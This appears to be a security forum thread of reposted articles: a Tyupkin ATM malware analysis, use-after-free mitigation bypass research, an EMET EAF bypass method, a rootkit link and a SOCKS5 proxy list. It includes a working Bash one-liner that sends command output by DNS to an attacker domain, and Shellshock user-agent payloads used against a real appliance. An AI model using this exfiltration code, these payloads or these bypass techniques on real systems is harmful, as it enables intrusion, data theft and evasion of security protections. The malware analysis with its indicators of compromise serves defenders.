with products and protocols designed purely for their own machines. This has promulgated the usual problems of closed systems: loss of hardware independence, inability to have a mixed vendor implementation, high cost of change, etc. Now, industry-wide standards are being introduced – a move which is creating an open environment and which will have wide-ranging ramifications for the self-service industry. Most prominent amongst these standards is WOSA, which has been developed by Microsoft, and is comprised of many of the main integrators and hardware vendors. They have taken Microsoft’s Windows Open Service Architecture and added Extensions for Financial Services (the XFS part) in order to meet the special requirements of financial applications for access to services and devices. The essence of WOSA is that allows the seamless integration of Windows applications with services and enterprise capabilities needed by users and developers. It is a family of interfaces which shield users and developers from system complexities and which offer, for instance, standard database access (ODBC) and standard access to messaging services and communication support, including SNA, RPC and Sockets. Each of the elements of WOSA includes a set of Application Program Interfaces (API) and Service Provider Interfaces (SPIs) with associated supporting software. The WOSA XFS incorporates the definition of a further API and corresponding set of SPIs. The specification defines a standard set of interfaces such that, for example, an application that uses the API set to communication with a particular service provider can work, without need for enhancement, with another vendor’s service provider as long as that vendor is WOSA XFS compliant. Although the WOSA XFS defines a general architecture for access to service providers from Windows based applications, the initial focus has been on providing access to peripheral devices that are unique to financial institutions, such as ATMs. Since these devices are often complex, difficult to manage, and proprietary, the development of a standardized interface to them offers financial institutions immediate gains in productivity and flexibility. WOSA XFS changed its name to simply XFS when the standard was adopted by the international CEN/ISSS standards body. However, it is most commonly called CEN/XFS by the industry participants. As we have seen previously, Payment Systems and Electronic Funds Transfer is a black art due to everything being proprietary. You need to work as an employee of a big vendor (like NCR, Diebold, etc.) or at a financial institution or a bank in order to understand the end to end picture. You’ll not find enough information by just looking for freely available documents and code on the Internet – just because these standards are not open at all! Coming back to Tyupkin, this malware uses the WOSA/XFS or CEN/XFS which different hardware vendors comply with. As far as we are concerned, they get their hands on some manual references that contain detailed information on how to interact with the ATM. We have found XFS specification papers released by CEN which we will use along this analysis to understand the XFS architecture. We have seen also some leaks on Baidu search engine published by F-Secure, but we are not sure that it was the ones used by cybercriminals. WOSA/XFS Architecture The architecture of the Extensions for Financial Services (XFS) system is shown below: The applications communicate with service providers via the Extensions for Financial Services Manager using the API set. The XFS Manager provides overall management of the XFS subsystem. The XFS Manager is responsible for mapping the API (WFS…) functions to SPI (WFP…) functions, and calling the appropriate vendor-specific service providers. Note that the calls are always to a local service provider. Each XFS service for each vendor is accessed via a service-specific module called a service provider. For example, vendor A’s journal printer is accessed via vendor A’s journal printer service provider, and vendor B’s receipt printer is accessed via vendor B’s receipt printer service provider. Technical Analysis SHA256: b670fe2d803705f811b5a0c9e69ccfec3a6c3a31cfd42a30d9e8902af7b9ed80 VirusTotal report here, Cuckoo Sandbox report here. We are going to use these tools to perform the analysis: DotNet Reflector / RDG Packer Detector / PEBear This sample has been compiled with C# Dot NET language: By looking at the imports/exports: As you can see, MSXFS.DLL is our dll from Microsoft which contains the function calls to the API and SPI. After the sample run, it sleeps for 10 minutes to evade anti-malware tools: Then, it will call InitializeComponent () which is responsible for setting the right names for labels, fonts, and colors for the different objects of the Form including the main window. Afterwards, it calls SHGetFolderPath two times to get the System directory as well as the startup directory. Persistence to reboot in the registry key: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunAptraDebug Make a copy of itself in C:WINDOWSsystem32ulssm.exe, I am not totally sure about this, strings are obfuscated and I could not decrypt them manually, I tried de4net but it failed. Next, it calls prepareXFSManagerAndOpenServiceProvider. Basically, before an application is allowed to utilize any of the services managed by the XFS subsystem, it must first identify itself to the subsystem. This is accomplished using the WFSStartUp function. An application is only required to perform this function once, regardless of the number of XFS services it utilizes, so this function would typically be called during application initialization. Similarly, the complementary function, WFSCleanUp, is typically called during application shutdown. If an application exits or is shut down without issuing the WFSCleanUp function, the XFS Manager does the cleanup automatically, including the closing of any sessions with service providers the application has left open. Once a connection between an application and the XFS Manager has successfully been negotiated via WFSStartUp, the application establishes a virtual session with a service provider by issuing a WFSOpen request. Opens are directed towards “logical services” as defined in the XFS configuration. A service handle (hService) is assigned to the session, and is used in all the calls to the service in the lifetime of the session. Finally, when an application no longer requires the use of a particular service, it issues a WFSClose. After successfully preparing the XFS service manager, the malware start two threads, and if it fails it just deletes the bin silently and exits. TimeInterval thread will determine whether the current system time is Sunday or Monday, between 1:00 to 5:00 AM. If the condition is met, it will be marked as a PIN_PAD_ACTIVE_TIME. The second thread MainLoop checks for this Boolean field. If true, if the condition is satisfied, it calls waitForMasterKey, which is self-explained. Inside this function, it calls WFSExecute with WFS_CMD_PIN_GET_DATA attribute (0×198). WFSExecute sends a service-specific command to a service provider, here is the prototype that corresponds to this API: HRESULT WFSExecute (hService, dwCommand, lpCmdData, dwTimeOut, lppResult) hService is the handle to the service as returned by WFSOpen, and WFS_CMD_PIN_GET_DATA is the command which is used to return keystrokes entered by the user. It will automatically set the PIN pad to echo characters on the display if there is a display. For each keystroke, an execute notification event is sent in order to allow an application to perform the appropriate display action. The third argument is interesting, it is a pointer to a command data structure to be passed to the service provider, and this data structure is defined as follows: usMaxLen Specifies the maximum number of digits which can be returned to the application in the output parameter, which is in our case is equal to 10. If bAutoEnd is set to true, the service provider terminates the command when the maximum number of digits is entered. Otherwise, as our case, the input is terminated by the user using one of the termination keys. When usMaxLen is reached, the service provider will disable all numeric keys. The third and fourth parameters are not important for us. uTerminateFDKs Specifies those FDKs which must terminate the execution of the command. In our case, this value is equal to 0×400, which is the ENTER key: #define WFS_PIN_FK_ENTER (0×00000400) Then, it tests whether WFSExecute returned the right value, which is 0, otherwise when there is an error, it calls again the prepareXFSManagerAndOpenServiceProvider and WFSExecute API. #define WFS_SUCCESS (0) #define WFS_ERR_NOT_STARTED (-39) Finally, it calls the function scenario (), and depending on which key sequence has been taped on the PINP AD, Tyupkin does the following: MKEY_CLOSE_AND_ERASE_APP: the corresponding key sequence (333333) Close and delete the program. MKEY_HIDE_APP: the corresponding key sequence (111111) Hide the application’s main screen. MKEY_EXTEND_TIME: the corresponding key sequence (555555) Modify the time period of the activation of the malware, and display time was extended, then sleep 2 seconds and return -1. MKEY_SHOW_APP: the corresponding key sequence (22222) Display the main screen of the application, then it calls PrintCode () which generates randomly 8 digits and wait for the equivalent session key to be entered according to some algorithm. When the right code is entered, DISPENSE_SESSIOM_ACTIVE is equal to True. After the user enters the cassette number and presses enter, it calls getDecimalNumberFromPINFKDigit to convert the number entered to an integer, then it verifies if it is bigger than 1 and smaller than the total number of cassettes and calls executeDispense, which in turn calls WFSExecute with WFS_CMD_CDM_DISPENSE, then calls getCashUnitInfo/getCashUnitInfo which calls WFSGetInfo (retrieves information from the specified service provider) to get information related to each cassette and how much income there is on it. Conclusion and IOC As far as I am concerned, we are going to see more cases related to ATM malwares, because this is where the money is. Targeting financial institutions directly is better for cybercriminals than doing skimming or running RAM scrappers or doing web injects and ATS stuff. Ploutus malware has been shown to be before, and Tyupkin is now a concrete weakness in the ATM infrastructure. Also the fact that many ATMs run unsupported OS like Windows XP and the absence of security solutions is another problem that needs to be addressed urgently. My recommendation for the banks is to review the physical security of their ATMs and their employers (insiders?). Indicators of compromise: Check the ATM equipment for the following files: C: Documents and Settings All Users Start Menu Programs Startup AptraDebug.lnk C: WINDOWS system32 ulssm.exe Check the following registry key: HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows CurrentVersion Run AptraDebug References http://securelist.com/blog/research/66988/tyupkin-manipulating-atm-machines-with-malware/ http://sourceforge.net/projects/openxfs/ http://www.cen.eu/work/areas/ict/ebusiness/pages/ws-xfs.aspx By Shaman Vilen|January 19th, 2015 Sursa: http://resources.infosecinstitute.com/tyupkin-atm-malware-analysis/
-
Use-after-Free: New Protections, and how to Defeat them January 17, 2015 / Jared DeMott The Problem Memory corruption has plagued computers for decades, and these bugs can often be transformed into working cyber-attacks. Memory corruption is a situation where an attacker (malicious user of an application or network protocol) is able to send some data that is improperly processed by the native computer code. That can lead to important control structure changes that allow the attacker unexpected influence over the path a program will travel. High-level protections, such as anti-virus (AV), have done little to stop the tide. That is because AV is poor at reacting to threats if they do not exist in their list of known attacks. Recent low-level operating system (OS) protections have helped. Non-executable memory and code module randomization help prevent attackers from leveraging memory corruption bugs, by stopping injected code from successfully executing. Yet a new memory corruption exploit variant called return-oriented programming (ROP) has survived these defenses. ROP operates by leveraging existing code in memory to undo non-executable memory protections. New medium-level defenses, such as Microsoft’s anti-ROP add-on called EMET, have helped some. But a particularly troublesome bug known as Use-after-Free (UaF) has been applied in conjunction with other techniques to bypass EMET (See Prior Blog HERE). UaFs have been the basis of many current cyber attacks including Operation SnowMan (CVE-2014-0322) and Operation Clandestine Fox (CVE-2014-1776). Thus, it is clear that further low-level mitigations are required. The Solution To address the problem of UaF attacks, browser vendors have implemented new protections within the browser process. A UaF happens when (1) a low-level data structure (called an object in C++) is released prematurely. (2) An attacker knows about this release and quickly fills that space with data they control. (3) A dangling reference to the original object, which another part of the program assumes is still valid, is used. But of course, an attacker unwittingly changed the objects data. The intruder can now leverage the influence afforded by the corrupted memory state to hijack the compromised program. Microsoft choose to tackle this serious UaF problem with two new protections. These protections work together to stop attackers from being able to allocation new data in the spot where a dangling reference points. They call the new protections Heap Isolation and Delayed Free. The premise of these protections is simple. Heap Isolation creates a new heap. A heap is a place that a program uses to create/free internal data as needed throughout execution. This new isolated heap houses many internal Internet Explorer objects. While objects likely to be under the influence of attacks (like strings created via Java Script) will still be allocated on the typical default heap. Thus, if a UaF condition appears, the attacker should not be able to replace the memory of the dangling pointer with malicious data. We could liken this situation to forcing naughty school kids to use a separate playground from the trusted kids. But who is naughty and who is good? So also an obvious weakness with this approach is that with the many different objects used in a complex program like a browser, it is difficult for developers to perfectly separate the two groups of objects. So Microsoft also created a second cleaver protection. Delayed free operates by not releasing an objects memory right away. In our analogy, if we assume the goal of the naughty kid is to steal the place in line from a good kid that unexpected stepped out of line, we can think of this protection as the playground teacher watching that place in line for a while, before the slot is finally opened. Even though the program has asked the allocator to free a chunk of memory, the object is not freed, but is instead put on a list to be freed later, when the playground looks safer. That way even if an attacker knows of an object type on both heaps that could be used to replace the memory backing a dangling reference, they cannot since the memory has not actually been freed yet. The memory will not be truly freed until the following conditions are meet: there are no references to the object on the stack and there are at least 100,000 bytes waiting to be freed, or the per-thread call stack unwinds fully to its original starting point. Evaluation Though the new protections are definitely helpful, and I even recommend applying them to other applications, no native mitigation is enough. If we look back at the history of memory corruption, we see that every time vendors put forth a new OS security measure, it worked in slowing attackers for a season, but before long each mitigation was bypassed by some clever new attack. In my research, I show that one such bypass against these new protections involves using what I call a “long lived” dangling pointer. In my naughty child analogy, we can think of this as the sneaky and patient child that can go to either playground, and will wait for just the right moment before slipping ahead in line. In more technical terms, if an attacker can locate a UaF bug that involves code that maintains a heap reference to a dangling pointer, the conditions to actually free the object under the deferred free protection can be met (no stack references or call chain eventually unwinds). And finding useful objects in either playground to replace the original turns out not to be that difficult either. I wrote a python script to search the core Internet Explorer code module (called MSHTML.dll). The script finds all the different objects, their sizes, and notes rather it is allocated to the default or isolated heap. This information can be used to help locate useful objects to attack either heap. And with a memory garbage collection process known as coalescing the replacement object does not even have to be the same size as the original object. This is useful for changing critical data (like the vtable pointer) at the proper offset in what was the original object. The python code is HERE. For complete details on this research, please see the slides from my January 17th ShmooCon talk HERE. Sursa: Use-after-Free: New Protections, and how to Defeat them | Bromium Labs
-
Bash data exfiltration through DNS (using bash builtin functions) After gaining ‘blind’ command execution access to a compromised Linux host, data exfiltration can be difficult when the system is protected by a firewall. Sometimes these firewalls prevent the compromised host to establish connections to the internet. In these cases, data exfiltration through the DNS-protocol can be useful. In a lot of cases DNS-queries are not blocked by a firewall. I’ve had a real life situation like this, which i will describe later on. There are several oneliners on the internet available to exfiltrate command output through DNS. However, i noticed that these are using Linux applications (xxd, od, hexdump, etc), which are not always present on a minimalistic target system. I decided to create a oneliner, which is only using Bash builtin functionalities. The oneliner can be used whenever command execution is possible and Bash is installed on the compromised system. I’ve created the following bash command line which can be used on the attacked system to execute commands and send the results through DNS: LINE=`id`; domain="forsec.nl";while read -r -n 1 char;do var+=$(printf "%X" \'$char\');done<<<$LINE;b=0;e=60;l=${#var};while [ $b -lt $l ];do >& /dev/udp/$RANDOM.$b."${var:$b:$e}".$domain/53 0>&1;let b=b+60;done;>& /dev/udp/$RANDOM.theend.$domain/53 0>&1;unset var;unset var2 In order to use it, first modify the name servers of your domain, point them to the ip-address of the attacker machine. Also two values in the above oneliner need to be changed. The variable “LINE” needs to contain the command to execute, for example “ls -l /”. Also the variable “domain” needs to be modified, replace it with the domain which is pointed to your attacker machine. On the attacker machine, the following server side ruby script can be started: dns.rb The script will retrieve the output of the executed command. The following screenshot shows the command executed on a targeted system: This screenshot shows the retrieved data by the attacker, using the dns.rb script: There might be improvements possible to the oneliner and script to make it more efficient. Or there might be some cases where the oneliner doesn’t work. Do not hesitate to comment on this blog if you have an improvement. Real life scenario I stumbled on a Dell SonicWALL Secure Remote Access (SRA) appliance which was vulnerable to Shellshock. I discovered this by sending the following user-agent, which returned a 200 HTTP response. User-agent: () { :; }; /bin/ls When sending a user-agent with a non-existing binary, it returned a 500 HTTP response, which indicates something went wrong (it cannot execute the defined binary): User-agent () { :;}; /bin/fake I was able to execute commands using the Shellshock vulnerability (confirmed by running /bin/sleep 60), however it was not responding with the command output on commands like ‘ls’. I discovered that all outgoing connections to the internet were blocked by the machine, only the DNS protocol was allowed, by resolving a hostname using the telnet executable. The appliance did not have any executables like xxd, hexdump etc. Therefor i decided to create the above line, which is not depending on these utilities, so can be used on any system containing Bash. Dell is already aware of the Shellshock vulnerability in the older firmware versions of SRA. More details on how to patch the issue can be found at: https://support.software.dell.com/product-notification/133206?productName=SonicWALL%20SRA%20Series Sursa: https://forsec.nl/2015/01/bash-data-exfiltration-through-dns-using-bash-builtin-functions/
-
The PHP 7 Revolution: Return Types and Removed Artifacts Bruno Skvorc Published January 16, 2015 With the planned date for PHP 7’s release rapidly approaching, the internals group is hard at work trying to fix our beloved language as much as possible by both removing artifacts and adding some long desired features. There are many RFCs we could study and discuss, but in this post, I’d like to focus on three that grabbed my attention. PHP 5.7 vs PHP 7 As I mentioned in the last newsletter, 5.7 has been downvoted in favor of moving directly to PHP 7. This means there will be no new version between 5.6 and 7 – even if the new version was only to serve as a warning light to those still stuck on outdated code. Originally, 5.7 was not supposed to have new features, but was supposed to throw out notices and warnings of deprecation about code that’s about to change in v7. It would also warn about some keywords that are to be reserved in PHP 7, so that people can bring their code up to speed with a sort of “automatic” compatibility checker in the form of an entire PHP version. The thing is, however, as I argue in the newsletter, that most people technologically competent enough to follow PHP in its upgrade path by keeping up with the most recent version aren’t generally the type of people to actually be using code that might break in PHP 7. While this is a good discussion to have, what’s done is done and the voting is over. What do you think about this? Return Types With a vast majority voting “yes”, PHP is finally getting return types. The results of the vote are still fresh, but definite. Starting with PHP 7, we’ll finally be able to indicate proper return types on functions in the form of: [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]function foo(): array { return []; } [/TD] [/TR] [/TABLE] An improvement? Definitely! But perfect? Unfortunately, no: the return types can only be what we have for types right now, meaning no scalar values, no return types like string, int, bool, etc. This means that your methods and functions that return such values will still be unsigned. You can remedy this by returning instances of wrappers for such values, but that’s overkill in the vast majority of cases. no multiple return types. If your function returns either an array, or an Iterator object, there’s no way to indicate that via, for example, array|Iterator as we do in docblocks. Some people also complained about the type declaration being after the closing parenthesis of the argument list, rather than before the function name, but to me, this is nitpicking. Popular languages such as modern C++ use the “after” syntax, and like the RFC states, this preserves the possibility of searching for “function foo” without any necessary regex modifications. What’s more, this is in line with what HHVM uses, so it’s an added unintended compatibility bonus. Others complained about the “strictification” of PHP, but as one commenter states, you really find the value of this when you start coding against interfaces or inheriting other people’s code. Besides, as long as it’s optional and its existence does not in any way affect PHP’s general performance or stability, there’s no harm in it. Complaining about it is, to me, akin to complaining about OOP being added to PHP when procedural spaghetti worked so well for most cases back then. Languages evolve, and this is a step in the right direction. What do you think? Removing Artifacts The upcoming version proposes to remove PHP4 style constructors (yet to be voted on). You can read what this means in the RFC, it’s simple and would be futile to repeat it here – but what’s actually very interesting is the mental anguish such a move seems to be causing some people. For example, this. “Please do not break our language”, pleads Tony, who seems intent on using its broken features. The post is well written despite the obvious anger, but it makes me wonder – if you’ve kept such a codebase alive for so long, is there really a need to upgrade to PHP 7? And if there is a need to upgrade to PHP 7, is it not easier to simply hunt down the offending classes and fix their constructors? Surely this is something you can delegate to juniors, given enough unit tests in your code base to make sure it all goes well? And if you don’t have unit tests, if your app is a mess, do you really hope to benefit in any way from moving to PHP 7? Wouldn’t you be better off Modernizing your Application first? The sentence “This means that code which I wrote 10 years ago should still run today, and should still run 10 years from now.” is, to me, madness – you definitely and absolutely should not expect this of ANY language across major versions. To draw a parallel from the real world, you shouldn’t expect to be allowed to own slaves today just because a law from long ago said you could. Yes, the BC break came after a bloody revolution, but when most slaveowners repented or died, there was peace. Granted, Tony is right in that it would take effort to remove the feature, while it would take none to leave it in. But in the long run, it will take more collective effort to fix the problems these constructors sometimes cause, than to remove it right now. Understandably, BC breaks always upset some people, even if major versions are perfectly okay having BC breaks for the purpose of progress. But imagine the fervor when such people find out about this. Heck, imagine what would have happened if WordPress hadn’t stepped into 2001 last year and updated to mysqli instead of mysql – either no WP installation would work on PHP 7, or PHP 7 would keep an unsafe and long deprecated feature for the sole reason of keeping WP users happy. My advice to those fearing PHP 7 is – stop. If you don’t want to upgrade, don’t. If you could be on 5.3 or 5.2 for so long (looking at you, CodeIgniter), you can be on 5.6 for another decade – but let us have modern PHP. Leave progress up to those who are willing to accept it. What say you? Is this removal of artifacts nonsense or needed? Aside: Extension API Changes As an interesting sidenote, there are some changes in PHP 7 that might actually cause a bit of a delay with extension porting to version 7. The API for building PHP extensions is still under a revamping (read: cleaning) process and all is subject to change – nonetheless, this provocative tweet from Sara Golemon gathered quite a bit of attention. Damn. There are some serious surprises in the PHP7 Extension API changes. Not for nothin’, but it’s a good time to switch to HHVM. — SaraMG (@SaraMG) January 3, 2015 She basically says the changes in extension development from 5.6 to 7 will be so great, you might as well learn how to make HHVM extensions. She then proceeded to craft a lengthy series on that exact topic, explaining in depth and on examples how to create an HHVM extension. Do you develop extensions? Did you study the changes, or do you feel like it’s still too early to tell if they’ll have an effect? Conclusion As usual, there’s no shortage of drama in PHP land. Like all major revolutions throughout history, the PHP 7 revolution will also be spilling some blood before producing something awesome. PHP 7 is still a long way off, so even if you’re caught in the crossfire of musket shots, there’s ample time to get to cover. Unless you’ve been sleeping under tank tracks, then there’s little either side can do to help you. What do you think of these RFCs? How do you feel about PHP 7 in general? Is it heading in the direction you’d like it to head in? Let us know – we want to hear your thoughts! Sursa: http://www.sitepoint.com/php-7-revolution-return-types-removed-artifacts/
-
[h=1]FakeMBR[/h] TDL4 style rootkit to spoof read/write requests to master boot record Needs to be compile with NTDDK. See: Using Kernel Rootkits to Conceal Infected MBR | MalwareTech Link: https://github.com/MalwareTech/FakeMBR/
-
[h=3]Bypassing EMET's EAF Protection: A Slightly Alternative Approach[/h] So a lot of people as of late have been talking about EMET an in particular how to bypass many of its protections and features that it offers. I thought this was an interesting challenge given my background in exploit development, so I decided to devote my dissertation paper to finding how effective EMET 5.1 is at preventing people from exploiting programs using three different types of exploits. However a few days ago I hit an interesting problem and today I would like to share the solution I came up with in the hopes that it may be useful to others. My problem started when I needed to find a way to bypass EAF. For those of you who don't know, EAF protection is a protection offered as part of EMET's protection suite which prevents exploits from reading the Export Address Table (EAT) by blocking access to the EAT based on the origin of the code. Shellcode often needs to read the EAT in order to find out where various functions are in memory that it needs to call. Thus by filtering access to this table, shellcode, including metasploit shellcode, will be prevented from working, and EMET will simply detect an EAF bypass, will alert the user, and the program will be closed down. (Please see http://download.microsoft.com/download/A/A/8/AA853FAE-7608-462E-B166-45B0F065BA13/EMET%205.1%20User%20Guide.pdf for more details, in particular page 8) There is a way around this however. As discussed in Aaron Portnoy's "Bypassing All Of The Things" presentation (https://www.exodusintel.com/files/Aaron_Portnoy-Bypassing_All_Of_The_Things.pdf), one can simply obtain the addresses from the Import Address Table (IAT), as discussed in slide 77, rather than the EAT. The IAT contains a list of entires, each which is a pointer to the actual address of the corresponding function in virtual memory. To take a look at a executable's IAT, we can simply crack open a free version of IDA Pro and wait for IDA to finish examining the entire program. When its done, simply click on the tab labeled "Imports". You should end up seeing something like this: On the far left we can see the addresses for each of the IAT entries, followed by an ordinal number if there is one (so that the function can be called via its ordinal number rather than via its normal address. Google this if you don't know what I'm talking about, its a bit beyond this post), the name of the function, and the library from which it came from. So we have a way to get the actual address of the functions listed in the IAT, but what if the function you want does not exist as an entry within the IAT? Well, first you need to find an entry that exists in the same library as the function that you want to find the address of. Say I wanted to call ExitProcess, a function located in Kernel32.dll, and I know there is a function ReadFile which is also within Kernel32.dll. There is an entry to ReadFile within the IAT at 0054E1F4. Dereferencing this address will get me the address of ReadFile. Once I have the address of ReadFile I can then take advantage of another trick to get the real address of ExitProcess. You see, because ReadFile and ExitProcess are in the same DLL, they will both have the same base address. These are usually the first 2 bytes of a 32 bit address. Furthremore, all functions are loaded at static offsets from the base address, reguardless of how randomized the DLL might be by ASLR etc. Because of this, with knowledge of where ReadFile is in memory, I can simply add or subtract the offset from ReadFile to ExitProcess from the address of ReadFile to get the address of ExitProcess in memory. This offset will never change even after the machine reboots and the location of Kernel32.dll changes. However some of you might have noticed a slight problem with this. What if the program doesn't have an IAT entry to a function within the libary your desired function is in? Aka you want to call a function located in msvcrt.dll but there are no IAT entries that point to any functions within that library? Well this is exactly the situation I encountered in the field recently. I wanted to call the function memcpy using the IAT. memcpy is located in msvcrt.dll, however as you can see from the photo below, there is no IAT entry for memcpy: As a matter of fact, there isn't any entry in the IAT table for function that belongs to a library who's name even starts with "m". We're going to have to get a little creative here. If we look at the exe within Immunity Debugger, we notice that msvcrt.dll is actually loaded by the application itself. However because of rebasing, the address will change every time the system restarts: However there is a way to get this to work. What we can do is abuse some of the properties of LoadLibraryA to still dynamically get the location of memcpy. Conveniently, the IAT has an entry for this: Using this entry, we can simply dereference the memory address 0054E268 within our shellcode to get the address of LoadLibraryA. Once we have the address of LoadLibraryA, we can call it and pass a pointer to the string "msvcrt" on the stack (I have not shown how I dynamically created this on the stack, but its not too hard to do). Here is an example of this in an exploit I am presently working on (to give a more realistic example): As you can see, we are presently calling LoadLibraryA, by dereferencing the address in EDX. EDX contains 0054E268, or the IAT entry for LoadLibraryA. By deferencing and then calling this address I end up calling LoadLibraryA itself. On the stack you can also note that I have placed the address where the "msvcrt" string is located, namely 10027090, as the library that I wish to load. Lets see what happens after this call completes: As we can see, the base address of msvcrt.dll is placed into EAX once the call is done. This means that based off of one entry within the IAT table, we can figure out the address of any other function in memory. Furthermore, even if the corresponding DLL is not loaded within the current program, LoadLibraryA will load the libary for you into the current process and return the base address where that library was loaded into EAX. Therefore, reguardless of the load status of the DLL which contains the function you are after, this trick will still work. At this point, all we need to do is add to EAX the offset to the function we want to call within msvcrt.dll. These offsets are static, as mentioned before, so even after a reboot they will still remain the same, thus defeating the rebasing. Anyway, I hope you guys found that interesting and useful. Just a little something I found during my research into EMET. -tekwizz123 Posted by thetekwizz at 7:48 AM Sursa: http://tekwizz123.blogspot.ro/2015/01/bypassing-emets-eaf-protection-slightly.html
-
[h=1]20-01-15 | VIP Socks 5 Servers (119)[/h] 20-01-15 | VIP Socks 5 Servers (119) Checked & filtered premium servers 107.152.104.44:50599 108.3.140.254:34574 111.90.159.200:12512 113.253.25.39:46046 121.211.21.238:17089 122.108.91.35:40975 124.160.35.2:808 130.237.16.25:20794 151.226.117.117:41816 162.104.79.68:28733 166.143.222.6:60104 170.163.116.108:80 173.161.58.177:20868 173.59.49.26:46147 174.57.25.16:19070 176.9.7.153:8777 178.137.171.205:36166 178.158.210.100:50250 180.153.139.246:8888 184.155.143.249:33697 184.59.142.248:20395 188.190.80.213:47118 194.247.12.49:25575 195.14.0.93:8080 195.22.8.47:53863 198.27.67.24:53193 198.8.92.212:9375 199.201.126.163:443 199.201.126.67:443 205.144.214.26:17232 209.148.89.210:53721 209.236.80.171:48179 212.57.179.193:2214 213.239.206.203:51042 216.8.240.194:23576 23.255.237.44:22999 24.155.226.138:29917 24.2.214.169:44300 24.200.71.134:19371 27.32.209.53:38158 31.202.206.22:47242 37.57.86.47:29108 46.185.34.205:21512 46.4.108.124:45288 46.4.88.203:9050 5.9.137.39:60555 5.9.60.41:5477 5.9.60.41:6060 61.147.67.2:9124 61.147.67.2:9125 62.183.105.233:8000 64.121.142.139:52491 65.24.180.150:18902 65.78.79.120:16905 66.172.99.160:20951 66.196.209.90:60159 66.83.236.125:80 67.86.13.241:37688 69.129.48.50:52259 69.253.214.65:35407 69.76.173.69:34598 71.194.121.105:48454 71.92.50.83:48964 73.17.20.150:32344 73.173.57.254:28077 73.190.248.101:28492 73.20.166.119:27670 73.25.97.27:39387 73.47.65.108:19160 73.51.146.191:41485 74.5.62.229:47309 75.183.75.32:46868 76.185.226.122:9691 77.242.22.254:8741 77.70.6.128:6789 78.39.178.2:443 78.62.77.63:5201 79.134.54.178:11721 81.159.25.90:31578 81.163.228.183:44921 84.109.188.145:17114 84.42.42.178:58530 85.15.66.132:16027 85.25.144.236:19494 85.30.233.152:34213 86.102.208.45:11970 86.102.208.45:18835 86.159.192.12:20548 88.203.104.225:41236 89.120.251.59:12937 89.215.95.7:22064 92.239.159.135:25079 92.245.196.43:21385 93.170.155.185:10536 93.170.155.185:8276 94.13.18.65:44238 94.211.155.1:25211 95.211.231.197:42094 95.211.231.198:15189 95.211.231.198:30436 95.211.231.198:30858 95.211.231.201:26507 95.211.231.201:53585 95.211.231.201:57872 95.211.231.202:1074 95.211.231.202:32234 95.211.231.202:40116 95.211.231.202:4215 95.211.231.202:60800 95.211.231.203:11165 95.211.231.203:20115 95.211.231.203:51061 96.227.244.232:32001 96.234.216.16:34369 96.237.192.11:16577 97.76.156.160:39954 97.81.116.155:42056 98.166.166.7:53444 98.237.12.7:21230 Sursa: 20-01-15 | VIP Socks 5 Servers (119) - Pastebin.com
-
[h=1]Using External Tools With Metasploit - Metasploit Minute[/h] Metasploit Minute - the break down on breaking in. Join Mubix (aka Rob Fuller) every Monday here on Hak5. Thank you for supporting this ad free programming. Sponsored by Hak5 and the HakShop - Trust your Technolust – HakShop :: Subscribe and learn more at Metasploit Minute | Technolust since 2005 :: Follow Rob Fuller at Room362.com and Rob Fuller (@mubix) | Twitter
-
Muie @em . Ar trebui sa se ocupe dar e ocupat sa castige 100 de milioane pe luna si sa nu faca nimic pentru comunitate.
-
How to install Android 5.0.1 Lollipop on Samsung Galaxy S4
Nytro replied to Nytro's topic in Mobile security
E Cyanogen modificat. Ultima versiune ar trebui sa contina ultimele patch-uri de la Cyanogen.